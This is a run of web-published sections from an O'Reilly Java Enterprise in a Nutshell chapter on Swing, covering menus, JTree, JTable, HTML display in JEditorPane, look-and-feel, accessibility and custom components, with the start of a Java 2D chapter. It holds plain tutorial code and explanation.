    file.add(menuItem("Save", listener, "save", 'S', KeyEvent.VK_S));
    file.add(menuItem("Save As...", listener, "saveas", 'A', KeyEvent.VK_A));

    JMenu edit = new JMenu("Edit");
    edit.setMnemonic('E');
    edit.add(menuItem("Cut", listener, "cut", 0, KeyEvent.VK_X));
    edit.add(menuItem("Copy", listener, "copy", 'C', KeyEvent.VK_C));
    edit.add(menuItem("Paste", listener, "paste", 0, KeyEvent.VK_V));

    // Create a menu bar and add these panes to it.
    JMenuBar menubar = new JMenuBar();
    menubar.add(file);
    menubar.add(edit);

    // Add menu bar to the main window.  Note special method to add menu bars.
    frame.setJMenuBar(menubar);

    // Now create a popup menu and add the some stuff to it
    final JPopupMenu popup = new JPopupMenu();
    popup.add(menuItem("Open...", listener, "open", 0, 0));
    popup.addSeparator();                // Add a separator between items
    JMenu colors = new JMenu("Colors");  // Create a submenu
    popup.add(colors);                   // and add it to the popup menu
    // Now fill the submenu with mutually exclusive radio buttons
    ButtonGroup colorgroup = new ButtonGroup();
    colors.add(radioItem("Red", listener, "color(red)", colorgroup));
    colors.add(radioItem("Green", listener, "color(green)", colorgroup));
    colors.add(radioItem("Blue", listener, "color(blue)", colorgroup));

    // Arrange to display the popup menu when the user clicks in the window
    panel.addMouseListener(new MouseAdapter() {
      public void mousePressed(MouseEvent e) {
    // Check whether this is the right type of event to pop up a popup
    // menu on this platform.  Usually checks for right button down.
    if (e.isPopupTrigger())
      popup.show((Component)e.getSource(), e.getX(), e.getY());
      }
    });

    // Finally, make our main window appear
    frame.setSize(450, 300);
    frame.setVisible(true);
  }

  // A convenience method for creating menu items
  public static JMenuItem menuItem(String label,
                   ActionListener listener, String command,
                   int mnemonic, int acceleratorKey) {
    JMenuItem item = new JMenuItem(label);
    item.addActionListener(listener);
    item.setActionCommand(command);
    if (mnemonic != 0) item.setMnemonic((char) mnemonic);
    if (acceleratorKey != 0)
      item.setAccelerator(KeyStroke.getKeyStroke(acceleratorKey,
                         java.awt.Event.CTRL_MASK));
    return item;
  }

  // A convenience method for creating radio button menu items
  public static JMenuItem radioItem(String label, ActionListener listener,
                    String command, ButtonGroup mutExGroup) {
    JMenuItem item = new JRadioButtonMenuItem(label);
    item.addActionListener(listener);
    item.setActionCommand(command);
    mutExGroup.add(item);
    return item;
  }

  // An event listener class used with the menu items created above
  // For this demo, it just displays a dialog box when an item is selected
  public static class MenuItemActionListener implements ActionListener {
    Component parent;
    public MenuItemActionListener(Component parent) { this.parent = parent; }
    public void actionPerformed(ActionEvent e) {
      JMenuItem item = (JMenuItem) e.getSource();
      String cmd = item.getActionCommand();
      JOptionPane.showMessageDialog(parent, cmd + " was selected.");
    }
  }
}
Previous | Home | Next
3.17. JColorChooser | Book Index | 3.19. JTree and TreeModel
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JTree and TreeModel (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.19. JTree and TreeModel

The javax.swing.JTree class is a powerful Swing component for displaying tree-structured data. Like all Swing components, JTree relies on a separate model object to hold and represent the data that it displays. Most Swing components create this model object automatically, and you never need to work with it explicitly. The JTree component, however, displays data that is much more complex than a typical Swing component. When you are working with a JTree, you must create a model object that implements the javax.swing.tree.TreeModel interface.

One approach is to use the DefaultTreeModel class, which implements the TreeModel interface using the TreeNode and MutableTreeNode interfaces (all defined in javax.swing.tree). To use DefaultTreeModel, you must implement your hierarchical data structures so that each element of the tree implements the TreeNode or MutableTreeNode interface. Now you can create a DefaultTreeModel object simply by passing the root TreeNode of your tree to a DefaultTreeModel constructor. Then you create a JTree component to display your tree simply by passing the DefaultTreeModel to the setModel() method of the JTree.

Sometimes, however, you do not have the luxury of designing the data structures used to represent your tree, so implementing the TreeNode interface is simply not an option. In this case, you can implement the TreeModel interface directly. The resulting TreeModel object serves as the interface between your data and the JTree component that displays the data. Your TreeModel implementation provides the methods that allow the JTree component to traverse the nodes of your tree, regardless of the actual representation of the tree data.

Example 3-2 shows a program that implements the TreeModel interface to represent the hierarchical structure of the filesystem, thereby allowing the file and directory tree to be displayed in a JTree component. Notice how a relatively simple implementation of TreeModel enables the powerful tree- browsing capabilities shown in Figure 3-7.

Figure 3-7. The JTree component

Example 3-2. Using JTree and TreeModel

import javax.swing.*;
import javax.swing.event.*;
import javax.swing.tree.*;
import java.io.File;

public class FileTreeDemo {
  public static void main(String[] args) {
    // Figure out where in the filesystem to start displaying
    File root;
    if (args.length > 0) root = new File(args[0]);
    else root = new File(System.getProperty("user.home"));

    // Create a TreeModel object to represent our tree of files
    FileTreeModel model = new FileTreeModel(root);

    // Create a JTree and tell it to display our model
    JTree tree = new JTree();
    tree.setModel(model);

    // The JTree can get big, so allow it to scroll
    JScrollPane scrollpane = new JScrollPane(tree);

    // Display it all in a window and make the window appear
    JFrame frame = new JFrame("FileTreeDemo");
    frame.getContentPane().add(scrollpane, "Center");
    frame.setSize(400,600);
    frame.setVisible(true);
  }
}

/**
 * The methods in this class allow the JTree component to traverse
 * the file system tree and display the files and directories.
 **/
class FileTreeModel implements TreeModel {
  // We specify the root directory when we create the model.
  protected File root;
  public FileTreeModel(File root) { this.root = root; }

  // The model knows how to return the root object of the tree
  public Object getRoot() { return root; }

  // Tell JTree whether an object in the tree is a leaf
  public boolean isLeaf(Object node) {  return ((File)node).isFile(); }

  // Tell JTree how many children a node has
  public int getChildCount(Object parent) {
    String[] children = ((File)parent).list();
    if (children == null) return 0;
    return children.length;
  }

  // Fetch any numbered child of a node for the JTree.
  // Our model returns File objects for all nodes in the tree.  The
  // JTree displays these by calling the File.toString() method.
  public Object getChild(Object parent, int index) {
    String[] children = ((File)parent).list();
    if ((children == null) || (index >= children.length)) return null;
    return new File((File) parent, children[index]);
  }

  // Figure out a child's position in its parent node.
  public int getIndexOfChild(Object parent, Object child) {
    String[] children = ((File)parent).list();
    if (children == null) return -1;
    String childname = ((File)child).getName();
    for(int i = 0; i < children.length; i++) {
      if (childname.equals(children[i])) return i;
    }
    return -1;
  }

  // This method is invoked by the JTree only for editable trees.
  // This TreeModel does not allow editing, so we do not implement
  // this method.  The JTree editable property is false by default.
  public void valueForPathChanged(TreePath path, Object newvalue) {}

  // Since this is not an editable tree model, we never fire any events,
  // so we don't actually have to keep track of interested listeners
  public void addTreeModelListener(TreeModelListener l) {}
  public void removeTreeModelListener(TreeModelListener l) {}
}
Previous | Home | Next
3.18. Menus | Book Index | 3.20. JTable and TableModel
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JTable and TableModel (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.20. JTable and TableModel

javax.swing.JTable is another powerful Swing component for displaying complex data structures. Like JTree, JTable relies on a separate model object to hold and represent the data it displays and has its own package of helper classes, javax.swing.table. This package contains the TableModel interface and its default implementations, AbstractTableModel and DefaultTableModel.

If your table data is tidily organized, it is easy to use JTable without worrying about the TableModel. If your data is an array of rows, where each row is an array of objects, you can just pass this Object[][] directly to the JTable constructor. If you want, you can also specify an optional array of column names. This is all you need to do: the JTable does the rest. This technique also works if your data is stored in a Vector of rows, where each row is itself a Vector.

Often, however, your data is not as regular as that. When you want to display a tabular view of data that is not, by nature, tabular, you must implement the TableModel interface (or, more likely, subclass the AbstractTableModel class). The job of this TableModel implementation is to serve as the interface between your data, which is not neatly organized into a table, and the JTable object, which wants to display a table. In other words, your TableModel presents a neat tabular view of your data, regardless of how the data is organized underneath.

Example 3-3 shows how this can be done. Given a File object that represents a directory in the filesystem, this example displays the contents of that directory in tabular form, as shown in Figure 3-8. Once again, notice how a relatively simple TableModel implementation enables the use of the powerful table-display capabilities of the JTable component.

Figure 3-8. The JTable component

Example 3-3. Using JTable and TableModel

import javax.swing.*;
import javax.swing.table.*;
import java.io.File;
import java.util.Date;

public class FileTableDemo {
  public static void main(String[] args) {
    // Figure out what directory to display
    File dir;
    if (args.length > 0) dir = new File(args[0]);
    else dir = new File(System.getProperty("user.home"));

    // Create a TableModel object to represent the contents of the directory
    FileTableModel model = new FileTableModel(dir);

    // Create a JTable and tell it to display our model
    JTable table = new JTable(model);

    // Display it all in a scrolling window and make the window appear
    JFrame frame = new JFrame("FileTableDemo");
    frame.getContentPane().add(new JScrollPane(table), "Center");
    frame.setSize(600, 400);
    frame.setVisible(true);
  }
}

/**
 * The methods in this class allow the JTable component to get
 * and display data about the files in a specified directory.
 * It represents a table with six columns: filename, size, modification date,
 * plus three columns for flags: directory, readable, writable.
 **/
class FileTableModel extends AbstractTableModel {
  protected File dir;
  protected String[] filenames;

  protected String[] columnNames = new String[] {
    "name", "size", "last modified", "directory?", "readable?", "writable?"
  };

  protected Class[] columnClasses = new Class[] {
    String.class, Long.class, Date.class,
      Boolean.class, Boolean.class, Boolean.class
  };

  // This table model works for any one given directory
  public FileTableModel(File dir) {
    this.dir = dir;
    this.filenames = dir.list();  // Store a list of files in the directory
  }

  // These are easy methods
  public int getColumnCount() { return 6; }  // A constant for this model
  public int getRowCount() { return filenames.length; }  // # of files in dir

  // Information about each column
  public String getColumnName(int col) { return columnNames[col]; }
  public Class getColumnClass(int col) { return columnClasses[col]; }

  // The method that must actually return the value of each cell
  public Object getValueAt(int row, int col) {
    File f = new File(dir, filenames[row]);
    switch(col) {
    case 0: return filenames[row];
    case 1: return new Long(f.length());
    case 2: return new Date(f.lastModified());
    case 3: return f.isDirectory() ? Boolean.TRUE : Boolean.FALSE;
    case 4: return f.canRead() ? Boolean.TRUE : Boolean.FALSE;
    case 5: return f.canWrite() ? Boolean.TRUE : Boolean.FALSE;
    default: return null;
    }
  }
}
Previous | Home | Next
3.19. JTree and TreeModel | Book Index | 3.21. JTextComponent and HTML Text Display
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JTextComponent and HTML Text Display (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.21. JTextComponent and HTML Text Display

The most complex component in all of Swing is the JTextComponent, which is a powerful editor. It is part of the javax.swing.text package and generally is not used directly. Instead, you typically use one of its subclasses, such as JTextField, JPasswordField, JTextArea, or JEditorPane. The first three of these components are straightforward. They are for the entry of a single line of text, secret text such as a password, and simple, unformatted, multiline text, respectively.

It is the JEditorPane component that really makes use of the full power of JTextComponent. JEditorPane supports the display and editing of complex formatted text. In conjunction with the classes in the javax.swing.text.html and javax.swing.text.rtf packages, JEditorPane can display and edit HTML and RTF documents. The ability to display formatted text so easily is a very powerful feature. For example, the ability to display HTML documents makes it simple for a Swing application to add online help based on an HTML version of the application's user manual. Furthermore, formatted text is a professional-looking way for an application to display its output to the user.

Because HTML has become so ubiquitous, we'll focus on the display of HTML documents with JEditorPane, There are several different ways to get a JEditorPane to display an HTML document. If the desired document is available on the network, the easiest way to display it is simply to pass an appropriate java.net.URL object to the setPage() method of JEditorPane. setPage() determines the data type of the document and, assuming it is an HTML document, loads it and displays it as such. For example:

editor.setPage(new java.net.URL("http://www.my.com/product/help.htm"));

If the document you want to display is in a local file or is available from some kind of InputStream, you can display it by passing the appropriate stream to the read() method of JEditorPane. The second argument to this method should be null. For example:

InputStream in = new FileInputStream("help.htm");
editor.read(in, null);

Yet another way to display text in a JEditorPane is to pass the text to the setText() method. Before you do this, however, you must tell the editor what type of text to expect:

editor.setContentType("text/html");
editor.setText("<H1>Hello World!</H1>");

Calling setText() can be particularly useful when your application generates HTML text on the fly and wants to use a JEditorPane to display nicely formatted output to the user.

Example 3-4 shows one such use of the JEditorPane. This example is an alternative to Example 3-3: it displays the contents of a directory in tabular form but uses an HTML table instead of the JTable component. As a bonus, this example uses HTML hyperlinks to allow the user to browse from one directory to the next. (If you download and run the two examples, however, you'll probably notice that the JTable example is significantly faster, since it does not have to encode the directory contents into HTML and then parse that HTML into a table.) Figure 3-9 shows sample output from this example.

Figure 3-9. The JEditorPane component displaying an HTML table

Example 3-4. Dynamically Generated HTML in JEditorPane

import javax.swing.*;
import javax.swing.event.*;
import java.io.*;
import java.util.Date;

/**
 * This class implements a simple directory browser using the HTML
 * display capabilities of the JEditorPane component
 **/
public class FileTableHTML {
  public static void main(String[] args) throws IOException {
    // Get the name of the directory to display
    String dirname = (args.length>0)?args[0]:System.getProperty("user.home");

    // Create something to display it in
    final JEditorPane editor = new JEditorPane();
    editor.setEditable(false);               // we're browsing not editing
    editor.setContentType("text/html");      // must specify HTML text
    editor.setText(makeHTMLTable(dirname));  // specify the text to display

    // Set up the JEditorPane to handle clicks on hyperlinks
    editor.addHyperlinkListener(new HyperlinkListener() {
      public void hyperlinkUpdate(HyperlinkEvent e) {
    // Handle clicks; ignore mouseovers and other link-related events
    if (e.getEventType() == HyperlinkEvent.EventType.ACTIVATED) {
      // Get the HREF of the link and display it.
      editor.setText(makeHTMLTable(e.getDescription()));
    }
      }
    });

    // Put the JEditorPane in a scrolling window and display it
    JFrame frame = new JFrame("FileTableHTML");
    frame.getContentPane().add(new JScrollPane(editor));
    frame.setSize(650, 500);
    frame.setVisible(true);
  }

  // This method returns an HTML table representing the specified directory
  public static String makeHTMLTable(String dirname) {
    // Look up the contents of the directory
    File dir = new File(dirname);
    String[] entries = dir.list();

    // Set up an output stream we can print the table to.
    // This is easier than concatenating strings all the time.
    StringWriter sout = new StringWriter();
    PrintWriter out = new PrintWriter(sout);

    // Print the directory name as the page title
    out.println("<H1>" + dirname + "</H1>");

    // Print an "up" link, unless we're already at the root
    String parent = dir.getParent();
    if ((parent != null) && (parent.length() > 0))
      out.println("<A HREF=\"" + parent + "\">Up to parent directory</A><P>");

    // Print out the table
    out.print("<TABLE BORDER=2 WIDTH=600><TR>");
    out.print("<TH>Name</TH><TH>Size</TH><TH>Modified</TH>");
    out.println("<TH>Readable?</TH><TH>Writable?</TH></TR>");
    for(int i=0; i < entries.length; i++) {
      File f = new File(dir, entries[i]);
      out.println("<TR><TD>" +
          (f.isDirectory() ?
             "<a href=\""+f+"\">" + entries[i] + "</a>" :
             entries[i]) +
          "</TD><TD>" + f.length() +
          "</TD><TD>" + new Date(f.lastModified()) +
          "</TD><TD align=center>" + (f.canRead()?"x":" ") +
          "</TD><TD align=center>" + (f.canWrite()?"x":" ") +
          "</TD></TR>");
    }
    out.println("</TABLE>");
    out.close();

    // Get the string of HTML from the StringWriter and return it.
    return sout.toString();
  }
}
Previous | Home | Next
3.20. JTable and TableModel | Book Index | 3.22. Pluggable Look-and-Feel
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pluggable Look-and-Feel (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.22. Pluggable Look-and-Feel

One of the unique features of Swing is its pluggable look-and-feel (PLAF) architecture, which allows a Swing application to change its entire appearance with one or two lines of code. The most common use of this feature is to give applications a choice between the native platform look-and-feel and a new platform-independent Java look-and-feel (also known as the Metal look-and-feel). Swing is distributed with three look-and-feels: Metal and two look-and-feels that mimic the appearance and behavior of the Windows and Motif (Unix/X) component toolkits. A look-and-feel that mimics the Macintosh platform is available as a separate download. While the Metal and Motif look-and-feels can be freely used, the Windows look-and-feel is restricted for use only on Windows platform--for copyright reasons, it does not run on any other operating system.

When a Swing application starts up, it reads the system property swing.defaultlaf to determine the classname of the default look-and-feel. In most Java installations, this property is set to the default Java look-and-feel, implemented by the class javax.swing.plaf.metal.MetalLookAndFeel. The end user can override this default by using the -D switch on the command line when invoking the Java interpreter. For example, to run a Swing application using the Motif look-and-feel, a user can type:

% java -Dswing.defaultlaf=com.sun.java.swing.plaf.motif.MotifLookAndFeel app

If the user is using a Windows operating system, he can start the application using the Windows look-and-feel like this:

% java -Dswing.defaultlaf=com.sun.java.swing.plaf.windows.WindowsLookAndFeel app

When you write a Swing application, you can explicitly set the look-and-feel that the application uses. To do this, simply call the static setLookAndFeel() method of the UIManager class and specify the classname of the desired look-and-feel implementation. To make this even easier, UIManager defines a static method that returns the classname of the default cross-platform look-and-feel (i.e., Metal) and another that returns the classname of the look-and-feel that mimics the native look-and-feel of the current platform. So, if you want your application to always look like a native application, you can simply include this line of code in your application, before it begins to create any GUI components:

UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());

Or, if you want to force the application to use the cross-platform look-and-feel, regardless of installation defaults and user preferences, you can use this line of code:

UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClassName());

Note that calling setLookAndFeel() like this overrides the value of the swing.defaultlaf property, if the end user has set one. Of course, the command-line syntax for setting that property is quite awkward and may be beyond the capabilities of many end users. An alternative is to implement command-line options in your own application that give the user a choice of look-and-feels. You might set a native look-and-feel if the user specifies a -nativelook flag on the command line, for example.

The easiest time to call the setLookAndFeel() method is at application start-up, before any Swing components have been created. It is also possible to change the look-and-feel of a running application, however. This means that you can allow the user to change the current look-and-feel through a preferences dialog box, if you are so inclined. When the user selects a new look-and-feel, you first call setLookAndFeel() to install the new look-and-feel, and then you have to notify all of the Swing components that a new look-and-feel is in effect and ask them to use it. Fortunately, there is a convenience method to do this. Your code might look like this:

// Set the new look-and-feel
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName);
// Tell all components from main JFrame on down that LAF has changed
SwingUtilities.updateComponentTreeUI(myframe);

A dialog that allows the user to change the currently installed look-and-feel of a running application should probably let the user choose among all the look-and-feels that are installed on the system. An application can find out the classnames and human-readable names of all the installed look-and-feels on a given system by calling the static getInstalledLookAndFeels() method of UIManager. In the implementation from Sun, this method returns either a default list of installed look-and-feels or a list obtained from the swing.properties file of the installation.

3.22.1. Using Themes with the Metal Look-and-Feel

You can customize the colors and fonts of the default Java look-and-feel by subclassing the DefaultMetalTheme class that appears in the javax.swing.plaf.metal package. When you create a custom subclass, you can specify the six different fonts and six different colors used by the Metal look-and-feel. For example, you might implement a large font theme for users who have difficulty reading the default fonts used by Metal.

If you are feeling brave and want to second-guess the skilled designers who put the Metal look-and-feel together, you can subclass the abstract MetalTheme class directly. This class defines many methods that return colors and fonts. All of these methods, however, are implemented in terms of the six basic font methods and six basic color methods of the DefaultMetalTheme class.

If you look at the DefaultMetalTheme API, you'll notice that the font and color methods do not return java.awt.Font and java.awt.Color objects as you would expect. Instead, they return FontUIResource and ColorUIResource objects. Both of these classes are part of the javax.swing.plaf package and are trivial subclasses of the more familiar Font and Color classes. The only thing these subclasses do is implement the UIResource interface. But UIResource is a marker interface, with no methods of its own. Thus, a FontUIResource is a Font object that also happens to implement UIResource. Similarly, a ColorUIResource is both a Color object and a UIResource object.

The currently installed look-and-feel assigns default values for many properties of Swing components. A look-and-feel implementation needs to be able to distinguish between default values it has specified and programmer-supplied property values. For this reason, all look-and-feel defaults, such as colors and fonts, must implement the UIResource marker interface. For our purposes here, you can subclass DefaultMetalTheme and use the FontUIResource and ColorUIResource classes exactly as you would use normal Font and Color resources.

Once you have created your own theme by subclassing MetalTheme or DefaultMetalTheme, you can install it with code like this:

MetalLookAndFeel.setCurrentTheme(new MyCustomTheme());

If you are changing the current theme after having already created Swing components, you also have to reinstall the MetalLookAndFeel and notify all the components of the change:

UIManager.setLookAndFeel(new MetalLookAndFeel());
SwingUtilities.updateComponentTreeUI(myRootFrame);

3.22.2. Auxiliary Look-and-Feels

If you've browsed the list of Swing packages, you've probably noticed javax.swing.plaf.multi. This is the multiplexing look-and-feel. It allows one or more auxiliary look-and-feels to be used in conjunction with a single primary look-and-feel. The multiplexing look-and-feel is automatically used by a Swing application if an auxiliary look-and-feel has been requested. An application can request an auxiliary look-and-feel by calling the static UIManager method addAuxiliaryLookAndFeel(), while an end user can do this by setting the swing.auxiliarylaf property on a Java command line.

The primary purpose of auxiliary look-and-feels is for accessibility. For example, a person with impaired vision might start up a Java application using the -Dswing.auxiliarylaf= option to specify that the application should load a screen-reader look-and-feel. Auxiliary look-and-feels can be used for other purposes as well, of course. You might use an auxiliary look-and-feel to add audio feedback to a user interface. Such a look-and-feel might produce an audible click when the user clicks on a JButton, for example.

Swing is not shipped with any predefined auxiliary look-and-feels. You can implement your own, of course, although explaining how to do so is beyond the scope of this book.

Previous | Home | Next
3.21. JTextComponent and HTML Text Display | Book Index | 3.23. Accessibility
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Accessibility (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.23. Accessibility

The term accessibility refers to the architectural features of Swing that allow Swing applications to interact with assistive technologies, such as a visual macro recorder that allows users to automate repetitive point-and-click tasks or a screen reader.

To enable accessibility, every Swing component implements the Accessible interface, which, like all accessibility-related classes, is part of the javax.accessibility package. This interface defines a single getAccessibleContext() method that returns an AccessibleContext object for the component. The methods of AccessibleContext export salient information about the component, such as a list of its accessible children and its name, purpose, and description. An assistive technology can use the tree of AccessibleContext objects to gather information about a GUI and assist the user in interacting with that GUI.

A number of the AccessibleContext methods return objects that implement specialized interfaces to return specific types of accessibility information. For example, if an accessible component represents a numeric value of some sort (say a JSlider), the getAccessibleValue() method of its AccessibleContext object returns an AccessibleValue object that provides more information about that value and allows the assistive technology to query and set the value.

The interfaces and classes of the javax.accessibility package provide methods that allow an assistive technology to "read" a GUI. Many of the methods defined by these interfaces duplicate functionality already provided by Swing components. The point, however, is that java.accessibility defines a standard API for interaction between any assistive technology and any accessible application. In other words, the accessibility API is not Swing specific. You can write JavaBeans and other custom components so that they support accessibility. If you do, these components automatically work with assistive technologies.

The details of the javax.accessibility package are of interest to programmers who are creating assistive technologies and developing accessible components or JavaBeans. Unfortunately, the details of these tasks are beyond the scope of this book.

Most of us are not developing assistive technologies and only rarely do we have to create accessible components. What we all want to do, however, is create accessible applications. Since all Swing components support accessibility, it is quite simple to create an accessible application with Swing. The key to supporting accessibility is providing the necessary information that allows an assistive technology to interpret your GUI for a user. The most commonly used example of an assistive technology is a screen reader for the vision impaired. A screen reader needs to be able to verbally describe a GUI to a user who cannot see it. In order to do this, it needs to have names and descriptions for all the critical components in your GUI.

The easiest way to assign a description to a component is to give it a tooltip. This way, your accessibility information also serves as context-sensitive help for novice users:

continue.setToolTipText("Click here to continue");

If, for some reason, you want to assign an accessible description to a component without giving it a tooltip, you can use code like this:

continue.getAccessibleContext().setAccessibleDescription("Continue button");

It is also helpful to assistive technologies if you provide names for your various components. A name should be a short human-readable string that uniquely identifies the component, at least within the current window or dialog box. Buttons, labels, menu items, and other components that display labels simply use those labels as their accessible names. Other components need to have names assigned. Here is one way to do that:

JTextField zipcode = new JTextField();
zipcode.getAccessibleContext().setAccessibleName("zipcode");

In a GUI, important components that do not display their own labels are often associated with JLabel components that serve to identify them. When this is the case, you can use the setLabelFor() method of JLabel to set the accessible name of the other component. The code might look like this:

JLabel zipcodeLabel = new JLabel("Zipcode");
JTextField zipcode = new JTextField();
zipcodeLabel.setLabelFor(zipcode);

By taking the simple step of assigning names and descriptions to your GUI components, you ensure that your application can be interpreted by assistive technologies and successfully used by all users.

Previous | Home | Next
3.22. Pluggable Look-and-Feel | Book Index | 3.24. Custom Components
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Custom Components (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.24. Custom Components

We'll conclude this survey of Swing features with a quick look at what it takes to write a custom Swing component. Creating a custom component is a matter of subclassing an existing component and adding the new functionality you desire. Sometimes this is a simple job of adding a minor new feature to an existing component. At other times, you may want to create an entirely new component from scratch. In this case, you'll probably be subclassing JComponent, which is a bit more complicated. The following sections briefly explain the various things you'll need to consider when creating such a custom component. The best way to learn to write your own Swing-style components is to study the source code of Swing components, and since Sun makes this source code freely available, I encourage you to examine it.

3.24.1. Properties

You need to decide what properties you want your component to export and define accessor methods that allow them to be set and queried. If your component represents or displays some kind of nontrivial data structure, consider representing the data in a separate model object. Define an interface for the model and a default implementation of the interface.

If you think that other objects may be interested in property changes on your component, have the set methods for those properties generate the events PropertyChangeEvent or ChangeEvent and include appropriate event listener registration methods in your component. This kind of notification is often important if you follow the Swing architecture and divide the functionality of your component among a component object, a model object, and a UI delegate object.

When a property is set on your component, the component may need to be redrawn or resized as a result. You must keep this in mind when you write the property accessor methods for your component. For example, if you define a setColor() method, this method should call repaint() to request that the component be repainted. (Painting the component is a separate topic that is discussed later.) If you define a setFont() method and a change in font size causes the component to require more (or less) space on the screen, you should call revalidate() to request a relayout of the GUI. Note that the repaint() and revalidate() methods add a repaint or relayout request to a queue and return right away. Therefore, you may call these methods freely without fear of inefficiency.

3.24.2. Events

You need to decide what kind of events your component generates. You can reuse existing event and listener classes, if they suit your purposes, or you can define your own. Add event listener registration and deregistration methods in your component. You need to keep track of the registered listeners, and you may find the javax.swing.event.EventListenerList helpful for this task. For each event listener registration method, it is common practice to define a protected method to generate and fire an appropriate event to all registered listeners. For example, if your component has a public addActionListener() method, you may find it useful to define a protected fireActionEvent() method as well. This method calls the actionPerformed() method of every registered ActionListener object.

3.24.3. Constructors

It is customary to provide a no-argument constructor for a component. This is helpful if you want your component to work with GUI builder tools, for example. In addition, think about how you expect programmers to use your component. If there are a few properties that are likely to be set in most cases, you should define a constructor that takes values for these properties as arguments, to make the component easier to use.

3.24.4. Drawing the Component

Almost every component has some visual appearance. When you define a custom component, you have to write the code that draws the component on the screen. There are several ways you can do this. If you are creating an AWT component, override the paint() method and use the Graphics object that is passed to it to do whatever drawing you need to do.

For Swing components, the paint() method is also responsible for drawing the border and the children of your component, so you should not override it directly. Instead, override the paintComponent() method. This method is passed a Graphics object, just as the paint() method is, and you use this Graphics object to do any drawing you want. As we'll see in Chapter 4, "Graphics with AWT and Java 2D", you can cast this Graphics object to a Graphics2D object if you want to use Java 2D features when drawing your component. Keep in mind, however, that a Swing component can be assigned an arbitrary border. Your paintComponent() method should check the size of the border and take this value into account when drawing.

When you define a custom component, you typically have only one look-and-feel in mind, so you can hardcode this look-and-feel as part of the component class itself. If you want your component to support the Swing pluggable look-and-feel architecture, however, you need to separate the drawing and event-handling tasks out into a separate javax.swing.plaf.ComponentUI object. If you do this, you should not override your component's paintComponent() method. Instead, put the painting functionality in the paint() method of the ComponentUI implementation. In order to make this work, you have to override the getUIClassID(), getUI(), setUI(), and updateUI() methods of JComponent.

3.24.5. Handling Events

Most components have some kind of interactive behavior and respond to user-input events such as mouse clicks and drags and key presses. When you are creating a custom component, you must write the code that handles these events. The Swing event-handling model was discussed in Chapter 2, "Swing and AWTArchitecture". Recall that the high-level way to handle input events is to register appropriate event listeners, such as MouseListener, MouseMotionListener, KeyListener, and FocusListener on your component. If you are using a separate UI delegate object, this object should implement the appropriate listener interfaces, and it should register itself with the appropriate event registration methods on the component when its installUI() method is called.

If you are not using a UI delegate, your component class can handle events at the lower level discussed in Chapter 2, "Swing and AWTArchitecture". To do this, you override methods such as processMouseEvent(), processMouseMotionEvent(), processKeyEvent(), and processFocusEvent(). In this case, be sure to register your interest in receiving events of the appropriate type by calling enableEvents() in your component's initialization code.

3.24.6. Component Size

Most components have a natural or preferred size that often depends on the settings of various component properties. Many components also have a minimum size below which they cannot adequately display themselves. And some components have a maximum size they wish to enforce. You must write the methods that compute and return these sizes.

If you are using a UI delegate object, you should implement the getMinimumSize(), getPreferredSize(), and getMaximumSize() methods in the delegate. The default JComponent methods call the delegate methods to determine these sizes if the programmer using the component has not overridden the minimum, preferred, or maximum sizes with her own specifications.

If you are not using a UI delegate object, you should override these three methods in the component itself. Ideally, your methods should respect any sizes passed to setMinimumSize(), setPreferredSize() and setMaximumSize(). Unfortunately, the values set by these methods are stored in private fields of JComponent, so you typically have to override both the get and the set methods.

3.24.7. Accessibility

It is a good idea to make your component accessible. In order to do this, your component must implement the javax.accessibility.Accessible interface and its getAccessibleContext() method. This method must return an AccessibleContext object that is customized for your component. You typically implement AccessibleContext as an inner class of the component by extending JComponent.AccessibleJComponent or some subclass of that class. Depending on your component, you may need to implement various other accessibility interfaces on this inner class as well. Studying the accessibility code in existing Swing components can be very helpful in learning how to write your own accessible components. You might start, for example, with the source code for AbstractButton.AccessibleAbstractButton.

3.24.8. Miscellaneous Methods

JComponent defines a number of other methods that you can optionally override to change aspects of a component's behavior. If you take a look at the list of properties defined by the JComponent API, you'll notice that a number of these are read-only properties (i.e., they do not define set methods). The only way to set the value returned by one of these methods is to subclass the method. In general, when you see a read-only property, you should consider it a candidate for subclassing. Here are a few methods of particular interest:

isOpaque()

If the component always fills its entire background, this method should return true. If a component can guarantee that it completely paints itself, Swing can perform some drawing optimizations. JComponent actually does define a setOpaque() method for this property, but your custom component may choose to ignore setOpaque() and override isOpaque().

isOptimizedDrawingEnabled()

If your component has children and allows those children to overlap, it should override this method to return false. Otherwise, leave it as is.

isFocusTraversable()

If your component wants to be included in focus traversal, it should override this method to return true. If your component does not want to be included in the keyboard navigation system, this method should return false.

isFocusCycleRoot()

If your component has children and wants to cycle focus among them, override this method to return true.

isManagingFocus()

If your component needs to receive the Tab and Shift-Tab key events that are normally handled by the focus manager, override this method to return true. If you do, the focus manager uses Ctrl-Tab instead.

Previous | Home | Next
3.23. Accessibility | Book Index | 4. Graphics with AWT and Java 2D
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Graphics with AWT and Java 2D (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 4. Graphics with AWT and Java 2D

Contents:

Graphics Before Java 2D
Java 2D Graphics Attributes and Operations
The Coordinate System
Shapes
Stroking Lines
Paint
Blending Colors with AlphaComposite
Rendering Hints
Fonts and Text
Buffered Images
Transformations with AffineTransform
Color Spaces

Java 1.0 and Java 1.1 included basic graphics capabilities as part of the AWT (Abstract Windowing Toolkit). In the Java 2 platform, these capabilities have been greatly enhanced with the introduction of Java 2D. While Java 2D is part of the JFC (the Java Foundation Classes), the Java 2D API is implemented in the same java.awt package as the original Java graphics classes.

